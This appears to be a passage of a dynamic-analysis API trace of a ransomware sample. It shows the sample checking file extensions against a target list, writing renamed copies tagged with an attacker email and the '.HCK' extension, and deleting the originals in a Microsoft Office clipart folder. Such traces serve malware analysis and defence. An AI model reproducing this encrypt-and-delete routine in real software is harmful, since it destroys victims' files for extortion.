[0172.369] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.369] lstrlenW (lpString=".7z") returned 3 [0172.369] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313896.JPG") returned 68 [0172.369] lstrlenW (lpString=".dbf") returned 4 [0172.369] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313896.JPG") returned 68 [0172.369] lstrlenW (lpString=".1cd") returned 4 [0172.369] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313896.JPG") returned 68 [0172.369] lstrlenW (lpString=".jpg") returned 4 [0172.369] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313896.JPG") returned 68 [0172.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313896.JPG") returned 68 [0172.369] lstrlenW (lpString=".doc") returned 4 [0172.369] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.369] lstrlenW (lpString=".docx") returned 5 [0172.369] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0172.369] lstrlenW (lpString=".pdf") returned 4 [0172.369] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.369] lstrlenW (lpString=".xls") returned 4 [0172.369] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.369] lstrlenW (lpString=".xlsx") returned 5 [0172.369] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0172.369] lstrlenW (lpString=".ppt") returned 4 [0172.369] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313896.JPG") returned 68 [0172.369] lstrlenW (lpString=".zip") returned 4 [0172.369] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.369] lstrlenW (lpString=".rar") returned 4 [0172.369] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.369] lstrlenW (lpString=".bz2") returned 4 [0172.369] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.369] lstrlenW (lpString=".7z") returned 3 [0172.369] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313896.JPG") returned 68 [0172.369] lstrlenW (lpString=".dbf") returned 4 [0172.369] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313896.JPG") returned 68 [0172.369] lstrlenW (lpString=".1cd") returned 4 [0172.369] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313896.JPG") returned 68 [0172.369] lstrlenW (lpString=".jpg") returned 4 [0172.369] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.369] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.370] lstrlenW (lpString="J0315580.JPG") returned 12 [0172.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315580.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0315580.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0172.375] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=19202) returned 1 [0172.375] CloseHandle (hObject=0x394) returned 1 [0172.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315580.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0315580.jpg")) returned 0x220 [0172.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315580.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0315580.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315580.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0315580.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0172.382] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.382] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315580.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0315580.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0172.386] GetLastError () returned 0x0 [0172.386] ReadFile (in: hFile=0x394, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x4b02, lpOverlapped=0x0) returned 1 [0172.389] WriteFile (in: hFile=0x308, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x4b10, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x4b10, lpOverlapped=0x0) returned 1 [0172.389] ReadFile (in: hFile=0x394, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.389] WriteFile (in: hFile=0x308, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.390] SetEndOfFile (hFile=0x308) returned 1 [0172.392] CloseHandle (hObject=0x308) returned 1 [0172.393] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.393] SetEndOfFile (hFile=0x394) returned 1 [0172.397] CloseHandle (hObject=0x394) returned 1 [0172.399] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315580.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.399] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315580.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0315580.jpg")) returned 1 [0172.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315580.JPG") returned 68 [0172.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315580.JPG") returned 68 [0172.403] lstrlenW (lpString=".doc") returned 4 [0172.403] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.403] lstrlenW (lpString=".docx") returned 5 [0172.403] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0172.403] lstrlenW (lpString=".pdf") returned 4 [0172.403] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.403] lstrlenW (lpString=".xls") returned 4 [0172.403] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.403] lstrlenW (lpString=".xlsx") returned 5 [0172.403] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0172.403] lstrlenW (lpString=".ppt") returned 4 [0172.403] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315580.JPG") returned 68 [0172.403] lstrlenW (lpString=".zip") returned 4 [0172.403] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.404] lstrlenW (lpString=".rar") returned 4 [0172.404] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.404] lstrlenW (lpString=".bz2") returned 4 [0172.404] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.404] lstrlenW (lpString=".7z") returned 3 [0172.404] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315580.JPG") returned 68 [0172.404] lstrlenW (lpString=".dbf") returned 4 [0172.404] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315580.JPG") returned 68 [0172.404] lstrlenW (lpString=".1cd") returned 4 [0172.404] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315580.JPG") returned 68 [0172.404] lstrlenW (lpString=".jpg") returned 4 [0172.404] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315580.JPG") returned 68 [0172.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315580.JPG") returned 68 [0172.404] lstrlenW (lpString=".doc") returned 4 [0172.404] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.404] lstrlenW (lpString=".docx") returned 5 [0172.404] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0172.404] lstrlenW (lpString=".pdf") returned 4 [0172.404] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.404] lstrlenW (lpString=".xls") returned 4 [0172.404] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.404] lstrlenW (lpString=".xlsx") returned 5 [0172.404] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0172.404] lstrlenW (lpString=".ppt") returned 4 [0172.404] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315580.JPG") returned 68 [0172.404] lstrlenW (lpString=".zip") returned 4 [0172.404] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.404] lstrlenW (lpString=".rar") returned 4 [0172.404] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.404] lstrlenW (lpString=".bz2") returned 4 [0172.404] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.404] lstrlenW (lpString=".7z") returned 3 [0172.404] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315580.JPG") returned 68 [0172.404] lstrlenW (lpString=".dbf") returned 4 [0172.404] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315580.JPG") returned 68 [0172.404] lstrlenW (lpString=".1cd") returned 4 [0172.404] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315580.JPG") returned 68 [0172.404] lstrlenW (lpString=".jpg") returned 4 [0172.404] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.405] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0172.405] lstrlenW (lpString="J0318810.WMF") returned 12 [0172.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318810.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0318810.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0172.408] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=10430) returned 1 [0172.408] CloseHandle (hObject=0x38c) returned 1 [0172.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318810.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0318810.wmf")) returned 0x220 [0172.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318810.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0318810.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318810.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0318810.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0172.414] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.414] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318810.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0318810.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0172.420] GetLastError () returned 0x0 [0172.420] ReadFile (in: hFile=0x38c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x28be, lpOverlapped=0x0) returned 1 [0172.424] WriteFile (in: hFile=0x3a8, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x28c0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x28c0, lpOverlapped=0x0) returned 1 [0172.424] ReadFile (in: hFile=0x38c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.425] WriteFile (in: hFile=0x3a8, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.425] SetEndOfFile (hFile=0x3a8) returned 1 [0172.427] CloseHandle (hObject=0x3a8) returned 1 [0172.428] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.428] SetEndOfFile (hFile=0x38c) returned 1 [0172.431] CloseHandle (hObject=0x38c) returned 1 [0172.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318810.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.433] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318810.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0318810.wmf")) returned 1 [0172.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318810.WMF") returned 68 [0172.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318810.WMF") returned 68 [0172.436] lstrlenW (lpString=".doc") returned 4 [0172.436] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.436] lstrlenW (lpString=".docx") returned 5 [0172.436] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0172.436] lstrlenW (lpString=".pdf") returned 4 [0172.436] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.436] lstrlenW (lpString=".xls") returned 4 [0172.436] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.436] lstrlenW (lpString=".xlsx") returned 5 [0172.436] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0172.436] lstrlenW (lpString=".ppt") returned 4 [0172.436] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318810.WMF") returned 68 [0172.436] lstrlenW (lpString=".zip") returned 4 [0172.436] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.436] lstrlenW (lpString=".rar") returned 4 [0172.436] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.436] lstrlenW (lpString=".bz2") returned 4 [0172.436] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.436] lstrlenW (lpString=".7z") returned 3 [0172.436] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318810.WMF") returned 68 [0172.436] lstrlenW (lpString=".dbf") returned 4 [0172.436] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318810.WMF") returned 68 [0172.436] lstrlenW (lpString=".1cd") returned 4 [0172.436] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318810.WMF") returned 68 [0172.436] lstrlenW (lpString=".jpg") returned 4 [0172.436] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318810.WMF") returned 68 [0172.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318810.WMF") returned 68 [0172.436] lstrlenW (lpString=".doc") returned 4 [0172.436] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.436] lstrlenW (lpString=".docx") returned 5 [0172.436] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0172.436] lstrlenW (lpString=".pdf") returned 4 [0172.436] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.436] lstrlenW (lpString=".xls") returned 4 [0172.436] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.436] lstrlenW (lpString=".xlsx") returned 5 [0172.436] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0172.436] lstrlenW (lpString=".ppt") returned 4 [0172.436] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318810.WMF") returned 68 [0172.436] lstrlenW (lpString=".zip") returned 4 [0172.436] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.436] lstrlenW (lpString=".rar") returned 4 [0172.436] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.437] lstrlenW (lpString=".bz2") returned 4 [0172.437] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.437] lstrlenW (lpString=".7z") returned 3 [0172.437] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318810.WMF") returned 68 [0172.437] lstrlenW (lpString=".dbf") returned 4 [0172.437] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318810.WMF") returned 68 [0172.437] lstrlenW (lpString=".1cd") returned 4 [0172.437] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318810.WMF") returned 68 [0172.437] lstrlenW (lpString=".jpg") returned 4 [0172.437] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.437] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.437] lstrlenW (lpString="J0337280.JPG") returned 12 [0172.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0337280.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0337280.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0172.441] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=12896) returned 1 [0172.441] CloseHandle (hObject=0x368) returned 1 [0172.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0337280.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0337280.jpg")) returned 0x220 [0172.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0337280.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0337280.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0337280.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0337280.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0172.445] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.445] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0337280.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0337280.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0172.451] GetLastError () returned 0x0 [0172.451] ReadFile (in: hFile=0x3a8, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x3260, lpOverlapped=0x0) returned 1 [0172.454] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x3270, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x3270, lpOverlapped=0x0) returned 1 [0172.455] ReadFile (in: hFile=0x3a8, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.455] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.455] SetEndOfFile (hFile=0x368) returned 1 [0172.456] CloseHandle (hObject=0x368) returned 1 [0172.458] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.458] SetEndOfFile (hFile=0x3a8) returned 1 [0172.462] CloseHandle (hObject=0x3a8) returned 1 [0172.466] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0337280.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.466] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0337280.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0337280.jpg")) returned 1 [0172.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0337280.JPG") returned 68 [0172.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0337280.JPG") returned 68 [0172.473] lstrlenW (lpString=".doc") returned 4 [0172.474] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.474] lstrlenW (lpString=".docx") returned 5 [0172.474] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0172.474] lstrlenW (lpString=".pdf") returned 4 [0172.474] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.474] lstrlenW (lpString=".xls") returned 4 [0172.474] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.474] lstrlenW (lpString=".xlsx") returned 5 [0172.474] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0172.474] lstrlenW (lpString=".ppt") returned 4 [0172.474] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0337280.JPG") returned 68 [0172.474] lstrlenW (lpString=".zip") returned 4 [0172.474] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.474] lstrlenW (lpString=".rar") returned 4 [0172.474] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.474] lstrlenW (lpString=".bz2") returned 4 [0172.474] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.474] lstrlenW (lpString=".7z") returned 3 [0172.474] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0337280.JPG") returned 68 [0172.474] lstrlenW (lpString=".dbf") returned 4 [0172.474] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0337280.JPG") returned 68 [0172.474] lstrlenW (lpString=".1cd") returned 